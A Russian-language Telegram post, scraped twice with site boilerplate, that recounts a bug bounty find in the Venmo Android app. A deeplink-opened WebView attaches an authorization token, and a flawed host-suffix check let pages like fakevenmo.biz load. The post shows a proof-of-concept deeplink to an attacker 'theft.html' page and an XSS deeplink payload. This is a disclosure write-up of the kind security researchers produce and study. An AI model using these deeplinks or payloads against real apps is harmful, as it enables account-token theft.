Telegram Group & Telegram Channel
#mobile #deeplink

Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.

Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink venmo://webview?url=https://www.google.com/

Вот только там была проверка хоста.
— Возможно она реализована неверно. Подумал я вслух.

А код проверки был следующим:
public static boolean isSecureVenmoHostUrl(Uri uri) {
boolean z = false;
if (uri == null) {
return false;
}
String host = uri.getHost();
String scheme = uri.getScheme();
if (host != null && scheme != null
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME)
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz")))
{
z = true;
}
return z;
}
Вам даётся 5 секунд, на то чтобы найти ошибку.
5
4
Верно, здесь забыли добавить точку host.endsWith("venmo.biz")

Недолго думая, я решил организовать PoC и проверить: <a href="venmo://webview?url=https://fakevenmo.biz/theft.html">PoC Intent Send</a>
К моему удивлению, url был успешно загружен и мне удалось украсть Authorization токен.
Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди

Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела.

Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix: host.endsWith(".venmo.biz")
Верно, они добавили точку.
— Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.

Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.

Спустя два года, в мои лапы попала xss на поддомене .venmo.com
Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<script>alert()<script>
Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward.

Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной

P.S. история является реальной, все совпадения не случайны
🔥11👍72



group-telegram.com/postImpact/6
Create:
Last Update:

#mobile #deeplink

Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.

Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink venmo://webview?url=https://www.google.com/

Вот только там была проверка хоста.
— Возможно она реализована неверно. Подумал я вслух.

А код проверки был следующим:

public static boolean isSecureVenmoHostUrl(Uri uri) {
boolean z = false;
if (uri == null) {
return false;
}
String host = uri.getHost();
String scheme = uri.getScheme();
if (host != null && scheme != null
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME)
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz")))
{
z = true;
}
return z;
}
Вам даётся 5 секунд, на то чтобы найти ошибку.
5
4
Верно, здесь забыли добавить точку host.endsWith("venmo.biz")

Недолго думая, я решил организовать PoC и проверить: <a href="venmo://webview?url=https://fakevenmo.biz/theft.html">PoC Intent Send</a>
К моему удивлению, url был успешно загружен и мне удалось украсть Authorization токен.
Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди

Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела.

Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix: host.endsWith(".venmo.biz")
Верно, они добавили точку.
— Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.

Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.

Спустя два года, в мои лапы попала xss на поддомене .venmo.com
Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<script>alert()<script>
Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward.

Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной

P.S. история является реальной, все совпадения не случайны

BY Пост Импакта


Warning: Undefined variable $i in /var/www/group-telegram/post.php on line 260

Share with your friend now:
group-telegram.com/postImpact/6

View MORE
Open in Telegram


Telegram | DID YOU KNOW?

Date: |

Russians and Ukrainians are both prolific users of Telegram. They rely on the app for channels that act as newsfeeds, group chats (both public and private), and one-to-one communication. Since the Russian invasion of Ukraine, Telegram has remained an important lifeline for both Russians and Ukrainians, as a way of staying aware of the latest news and keeping in touch with loved ones. Anastasia Vlasova/Getty Images The regulator took order for the search and seizure operation from Judge Purushottam B Jadhav, Sebi Special Judge / Additional Sessions Judge. One thing that Telegram now offers to all users is the ability to “disappear” messages or set remote deletion deadlines. That enables users to have much more control over how long people can access what you’re sending them. Given that Russian law enforcement officials are reportedly (via Insider) stopping people in the street and demanding to read their text messages, this could be vital to protect individuals from reprisals. Right now the digital security needs of Russians and Ukrainians are very different, and they lead to very different caveats about how to mitigate the risks associated with using Telegram. For Ukrainians in Ukraine, whose physical safety is at risk because they are in a war zone, digital security is probably not their highest priority. They may value access to news and communication with their loved ones over making sure that all of their communications are encrypted in such a manner that they are indecipherable to Telegram, its employees, or governments with court orders.
from us


Telegram Пост Импакта
FROM American